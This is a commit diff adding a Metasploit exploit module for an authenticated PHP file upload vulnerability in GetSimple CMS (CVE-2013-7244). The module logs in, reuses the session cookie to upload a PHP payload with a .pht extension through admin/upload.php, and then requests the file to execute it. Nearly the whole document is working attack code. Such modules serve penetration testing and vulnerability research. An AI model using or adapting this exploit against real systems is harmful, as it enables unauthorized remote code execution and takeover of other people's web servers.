The module has been updated
This commit is contained in:
@@ -0,0 +1,149 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/php_exe'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability found in GetSimple CMS
|
||||
By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file to a upload
|
||||
directory, which results in arbitrary code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ahmed Elhady Mohamed' # @kingasmk
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-7244'],
|
||||
[ 'OSVDB', '93034' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 04 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']) ,
|
||||
OptString.new('User', [true, 'The username that will be used for authentication process', '']) ,
|
||||
OptString.new('Pass', [true, 'The right password for the provided username', '']) ,
|
||||
OptString.new('Upload_dir', [true, 'The upload directory, where uploaded files are located', '/data/uploads/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def authenticate_prcoss(peer, uri)
|
||||
#data_post = "userid=#{datastore['User']}&pwd=#{datastore['Pass']}&submitted=Login"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{uri}admin/index.php",
|
||||
'vars_post' => {
|
||||
'userid' => "#{datastore['User']}",
|
||||
'pwd' => "#{datastore['Pass']}",
|
||||
'submitted' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res.class == NilClass
|
||||
fail_with(Failure::Unknown, "#{peer} - Authentication Failed!")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 404 or res.code == 400
|
||||
fail_with(Failure::Unknown, "#{peer} - URI Path is Not Correct - Page Not Found!")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - User Credentials are Wrong, aborting!")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 302
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
def upload_file(payload_name, uri, cookie_http_header)
|
||||
|
||||
boundary = Rex::Text.rand_text_hex(7)
|
||||
post_data = "--#{boundary}\r\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"file[]\"; filename=\"#{payload_name}\"\r\n"
|
||||
post_data << "Content-Type: application/x-httpd-php\r\n\r\n"
|
||||
post_data << "<?php "
|
||||
post_data << payload.encoded
|
||||
post_data << " ?>\r\n\r\n"
|
||||
post_data << "--#{boundary}\r\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"submit\"\r\n\r\n"
|
||||
post_data << "Upload\r\n"
|
||||
post_data << "--#{boundary}--\r\n"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{uri}admin/upload.php?path=",
|
||||
'cookie' => cookie_http_header,
|
||||
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||
'data' => post_data
|
||||
})
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
payload_name = rand_text_alpha(rand(10) + 5) + '.pht'
|
||||
uri = target_uri.path
|
||||
uri = normalize_uri(uri, '/')
|
||||
|
||||
print_status("#{peer} - Using The Provided Credentials for Authentication.")
|
||||
res = authenticate_prcoss(peer, uri)
|
||||
print_status("#{peer} - The authentication process is done successfully!")
|
||||
|
||||
|
||||
print_status("#{peer} - Extracting Cookies Information")
|
||||
cookie_http_header = res.get_cookies
|
||||
upload_file(payload_name, uri, cookie_http_header)
|
||||
print_status("#{peer} - Uploading #{payload_name.downcase} File.")
|
||||
print_status("#{peer} - #{payload_name.downcase} File uploaded successfully!")
|
||||
|
||||
|
||||
upload_dir = datastore['Upload_dir']
|
||||
upload_uri = "#{uri}#{upload_dir}#{payload_name.downcase}"
|
||||
print_status("#{peer} - Executing payload #{payload_name.downcase}")
|
||||
res = send_request_raw({
|
||||
'uri' => upload_uri,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
register_files_for_cleanup(payload_name)
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user